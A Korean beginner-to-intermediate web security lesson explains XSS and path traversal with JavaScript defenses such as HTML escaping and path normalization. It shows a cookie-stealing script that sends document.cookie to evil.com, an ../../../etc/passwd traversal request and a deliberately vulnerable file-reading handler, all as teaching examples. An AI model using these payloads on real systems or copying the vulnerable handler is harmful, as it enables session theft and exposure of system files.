BioPlayground

🧬
목록으로

웹 보안 기초 — XSS와 경로 탐색

XSS와 경로 탐색이 무엇인지 이해하고, 왜 사용자 입력을 절대 신뢰하면 안 되는지 배웁니다.

중급
|
8
|
검증 완료 (2026-07)
진행률0/18 (0%)

웹 보안 기초 — XSS와 경로 탐색

이 토픽을 마치면

XSS와 경로 탐색 공격이 무엇인지 설명할 수 있고, "사용자 입력은 무조건 의심한다"는 원칙을 코드에 적용할 수 있습니다.


사용자 입력은 무기가 될 수 있다

웹 애플리케이션은 사용자의 입력을 받아서 처리합니다 — 검색어, 댓글, URL 파라미터. 문제는, 이 입력에 악의적인 코드가 들어올 수 있다는 것입니다.

보안의 첫 번째 원칙: "사용자가 보낸 모든 것은 거짓말일 수 있다."


XSS — 크로스 사이트 스크립팅

XSS(Cross-Site Scripting)는 공격자가 웹페이지에 악성 JavaScript를 삽입하는 공격입니다.

html
<!-- 게시판에 이런 댓글을 작성한다면? -->
<script>alert('해킹!')</script>

만약 서버가 이 댓글을 그대로 HTML에 넣으면, 페이지를 방문하는 모든 사용자의 브라우저에서 이 스크립트가 실행됩니다.

javascript
// 더 위험한 예: 쿠키 탈취
// 공격자가 삽입한 스크립트
`<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>`

사용자의 로그인 세션이 탈취되면, 공격자가 그 사용자인 것처럼 행동할 수 있습니다.

방어: 이스케이프

HTML 특수문자를 무해한 문자로 변환합니다.

javascript
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;');
}

// <script>alert('해킹!')</script>
// → &lt;script&gt;alert('해킹!')&lt;/script&gt;
// 브라우저는 이것을 텍스트로 표시할 뿐, 실행하지 않습니다

React, Next.js 같은 프레임워크는 기본적으로 자동 이스케이프를 해줍니다. 하지만 dangerouslySetInnerHTML 같은 API를 사용하면 이 보호가 사라지므로 주의해야 합니다.


경로 탐색 — Path Traversal

서버에서 파일을 읽어서 응답하는 경우, 사용자가 파일 경로를 조작할 수 있습니다.

javascript
// 사용자가 요청한 파일을 읽어서 보여주는 코드
const filename = req.query.file; // 사용자 입력!
const content = fs.readFileSync('./public/' + filename, 'utf8');
res.send(content);

정상 요청: ?file=about.html./public/about.html

공격 요청: ?file=../../../etc/passwd./public/../../../etc/passwd/etc/passwd

..을 사용해서 의도하지 않은 디렉토리로 탈출하는 것입니다.

방어: 경로 정규화 + 화이트리스트

javascript
const path = require('path');

const safePath = path.resolve('./public', filename);

// public 디렉토리 안에 있는지 확인
if (!safePath.startsWith(path.resolve('./public'))) {
  return res.status(403).send('접근 거부');
}

path.resolve()..을 모두 풀어서 실제 절대경로를 만들고, 그 경로가 허용된 디렉토리 안에 있는지 확인합니다.


핵심 원칙 정리

  1. 절대 신뢰하지 마라: 사용자 입력(URL, 폼, 쿠키, 헤더)은 전부 검증 대상
  2. 출력 시 이스케이프: HTML에 넣기 전에 특수문자 변환 (XSS 방어)
  3. 경로는 정규화 후 검증: .. 탈출을 막으려면 resolve + startsWith (경로 탐색 방어)
  4. 프레임워크 보호를 우회하지 마라: React의 자동 이스케이프를 끄는 API는 정말 필요할 때만